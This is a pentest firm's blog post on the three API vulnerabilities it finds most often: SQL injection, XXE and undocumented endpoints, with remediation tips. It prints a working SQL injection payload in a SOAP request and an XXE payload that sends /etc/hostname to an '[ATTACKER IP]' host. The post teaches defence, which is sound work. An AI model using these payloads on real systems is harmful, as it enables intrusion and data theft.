During their penetration tests (pentests), our security analysts at usd HeroLab repeatedly uncover vulnerabilities that pose significant risks to corporate security. They increasingly encounter the same vulnerabilities. Our blog series "Top 3 Vulnerabilities" presents them and provides tips on how to avoid them - for #moresecurity across all IT assets.
Today we look at the three most common security-critical vulnerabilities that our analysts have identified in API penetration tests in recent years.
Why API Pentests?
The security of APIs (Application Programming Interfaces) is crucial in today's connected world. APIs store sensitive data, such as passwords or credit card details, and offer a wide range of functionalities. In the course of pentests, our security analysts repeatedly find a wide variety of vulnerabilities in our customers' APIs. These can be effectively exploited to bypass authentication mechanisms, read sensitive information, manipulate database entries and even execute arbitrary system commands on the database server. We have evaluated our pentests from the past few years and compiled a list of the vulnerabilities that we encounter on a regular basis.
SQL Injection
In our pentests, we usually receive API documentation in the form of Postman, Swagger or WSDL files. Such documentation lists the available endpoints, as well as expected parameters and inputs. A large number of APIs work with relational databases to manage data persistently. In the backend, the parameter values received flow into SQL queries used for this purpose. If user input is inserted unfiltered into dynamic SQL queries, vulnerabilities to SQL injection attacks can arise.
By adjusting parameter values, attackers can influence the SQL queries to the database. This can be effectively exploited to bypass authentication mechanisms, read sensitive information, manipulate database entries and even execute arbitrary system commands on the database server.
Overall, the combination of the complexity of input validation, time constraints in development cycles and lack of awareness contributes to the frequent occurrence of SQL injection vulnerabilities in web applications and APIs.
To illustrate this, we show below a vulnerability from a past pentest. Here, a SOAP API made it possible to store the email address of employees via a corresponding request:
POST /Basic/Employee/Employee.svc HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: http:// services.redacted.com/Basic/Employee/IEmployee/GetEmployeeVaccinations
User-Agent: PostmanRuntime/7.31.1
Host: 10.254.160.4:10080
Content-Length: 579
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security soap:mustUnderstand="1" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"/>
</soap:Header>
<soap:Body>
<CertiflyEmployeeGetRequest xmlns="http://services.redacted.com/Basic/Employee">
<CrewIndicatorList/>
<IncludeMedicalData>true</IncludeMedicalData>
<WorkEmailAddress>test@abc.de'</WorkEmailAddress>
</CertiflyEmployeeGetRequest>
</soap:Body>
</soap:Envelope>
In the above query, a single inverted comma was inserted in the email address. This character is often used to build dynamic SQL queries with user input. This led to a corresponding error in the tested application:
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 07 Mar 2023 14:09:08 GMT
Connection: close
Content-Length: 640
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode>s:001097000001</faultcode><faultstring xml:lang="de-DE">Unknown Error occured</faultstring><detail><SOAFaultException xmlns="http://www.redacted.com/soa/cdm/error" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Code>001097000001</Code><FreeText>Unknown Error occured</FreeText><Responsible>Employee Db Service</Responsible><InnerFaultException><Code i:nil="true"/><FreeText>Unknown Error occured</FreeText><Responsible>Basic.Employee.Implementation</Responsible></InnerFaultException></SOAFaultException></detail></s:Fault></s:Body></s:Envelope>
Specifically, this is a syntax error, as the single apostrophe interferes with the dynamic request. If a valid request is made, the API returns data about the employee addressed. By exploiting this vulnerability, it was possible to query the status of each employee. The initial request can be modified for this purpose:
POST /Basic/Employee/Employee.svc HTTP/1.1
Content-Length: 618
Content-Type: text/xml; charset=utf-8
SOAPAction: http://services.redacted.com/Basic/Employee/IEmployee/GetEmployeeVaccinations
User-Agent: PostmanRuntime/7.31.1
Accept: */*
Postman-Token: 679c119a-5f2e-423c-af6a-df2a5d85c0f9
Host: 10.254.160.4:10080
Accept-Encoding: gzip, deflate
Referer: http://10.254.160.4:10080/Basic/Employee/Employee.svc
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security soap:mustUnderstand="0" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"/>
</soap:Header>
<soap:Body>
<CertiflyEmployeeGetRequest xmlns="http://services.redacted.com/Basic/Employee">
<CrewIndicatorList/>
<IncludeMedicalData>true</IncludeMedicalData>
<WorkEmailAddress>-4666' OR UNICODE(SQUARE(NULL)) IS NULL-- buGR</WorkEmailAddress>
</CertiflyEmployeeGetRequest>
</soap:Body>
</soap:Envelope>
The modified entry in the email address ensures a positive condition in the SQL query. This means that all entries in the database table are returned:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 08 Mar 2023 08:40:34 GMT
Connection: close
Content-Length: 10400
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><EmployeeCertifyVaccinationResponse xmlns="http://services.redacted.com/Basic/Employee"><EmployeeVaccinations><EmployeeVaccination> <WorkEmailAddress>john.doe@redacted.com</WorkEmailAddress>
<BirthDate>0001-01-01T00:00:00</BirthDate><LatestDoseDate>0001-01-01T00:00:00</LatestDoseDate><ValidToDate>0001-01-01T00:00:00</ValidToDate><VaccinationStatus>Verified</VaccinationStatus><LatestUpdateDate>2022-02-28T12:27:14</LatestUpdateDate></EmployeeVaccination><EmployeeVaccination><BirthDate>0001-01-01T00:00:00</BirthDate><LatestDoseDate>0001-01-01T00:00:00</LatestDoseDate><ValidToDate>
[...]
This SQL injection vulnerability not only made it possible to read data from the referenced table. It made it possible to read the entire database. Finally, it was also possible to change data in the database by inserting INSERT statements.
Security Tip: Despite the general awareness about SQL injections and their effects, this vulnerability is still regularly found in pentests. To prevent this vulnerability, prepared statements and input validation should be used.
Security Advisories:
https://herolab.usd.de/en/security-advisories/usd-2022-0066/
https://herolab.usd.de/en/security-advisories/usd-2023-0014/
https://herolab.usd.de/en/security-advisories/usd-2022-0064/
https://herolab.usd.de/en/security-advisories/usd-2023-0002/
https://herolab.usd.de/en/security-advisories/usd-2023-0047/
XML External Entity (XXE) Processing
Many APIs support XML as a message format. XML also offers the option of referencing local or external entities. XML parsers are used to read and process the XML messages. Depending on the parser and its configuration, this can lead to XXE (XML External Entity) vulnerabilities. Attackers can exploit this to read files from the processing server.
In the context of an API, an XXE vulnerability occurs when XML data is accepted as input from the user and processed without proper validation. Attackers can exploit this vulnerability by injecting malicious XML data containing references to external entities. When the API server processes such payloads, sensitive information from the server's file system, such as configuration data or passwords, can be unintentionally exposed. Another possible result of an attack is unintentional interaction with external systems.
In one of our past pentests, an API accepted data in XML format and was vulnerable to an XXE vulnerability, allowing external entities to be included to read the “/etc/hostname” file and transfer it to an external server under our control:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM file:///etc/hostname>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://[ATTACKER IP]/?x=%file;'>">
%eval;
%exfiltrate;
<Document xmlns="urn:iso:std:iso:20022:tech:xsd:pain.008.002.02" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:iso:std:iso:20022:tech:xsd:pain.008.002.02 pain.008.002.02.xsd">
<CstmrDrctDbtInitn>
[...]
When the XML message is processed by the usable application, the infiltrated entities are resolved. If processing is successful, the server sends the host name of the affected server back to the address of the attacker in the HTTP parameter “x”. As a result, we have received an HTTP request on our server. The following excerpt shows the HTTP request received. The hostname of the system begins with “central”. The full host name has been made unrecognizable.
Security Tip: XXE is one of the most well-known vulnerabilities and was one of the most widespread vulnerabilities in web applications in 2017 according to the OWASP Top 10 (https://owasp.org/www-project-top-ten/2017/de/A4_2017-XML_External_Entities_(XXE)). The simplest and most effective protective measure against XXE is to prevent the processing of external entities.
In the past, we were able to identify XXE vulnerabilities in widespread software and report them to the manufacturers.
Security Advisories:
https://herolab.usd.de/en/security-advisories/usd-2019-0050/
https://herolab.usd.de/en/security-advisories/usd-2019-0046/
https://herolab.usd.de/en/security-advisories/usd-2022-0036/
https://herolab.usd.de/en/security-advisories/usd-2019-0045/
Undocumented Endpoints
Undocumented API endpoints pose a significant security risk as they can inadvertently expose sensitive functions or data to attackers. These endpoints are usually not intended for public use and may not have appropriate authentication, authorization or input validation mechanisms. Developers often create undocumented endpoints for testing or internal use, but may forget to remove or secure them before deploying the application to production environments. During development, undocumented endpoints are often created for testing or internal use. However, these can quickly be overlooked and unintentionally remain available in production use.
For example, an attacker could use brute force techniques to guess undocumented endpoints of an API. Once identified, attackers could send malicious requests to these endpoints to manipulate or extract sensitive data, bypass authentication mechanisms or execute arbitrary code on the server.
Security Tip: Ensure clean and complete documentation. In a past pentest, for example, we discovered an API endpoint that made it possible to retrieve the current stock levels of the online store without authentication. This endpoint “/api/Quantitys” was not documented, as it was only supposed to be available in the test environment. Due to an error, it was not switched off for the production environment and was therefore still accessible.
Let's Recap
The protection of APIs is of central importance in the context of corporate cyber security. Misconfigurations or vulnerabilities can have far-reaching consequences, including the loss of confidentiality, integrity and availability of application and user data. The elimination of vulnerabilities such as SQL injections, XML External Entity (XXE) processing and undocumented endpoints is therefore essential.
Performing pentests is one of our core competencies. Our API penetration tests are specifically designed to uncover and mitigate the vulnerabilities listed in this article and others. Properly executed pentests remain one of the most important tools to improve your security and resilience against evolving cyber threats. Get in touch, we're happy to help.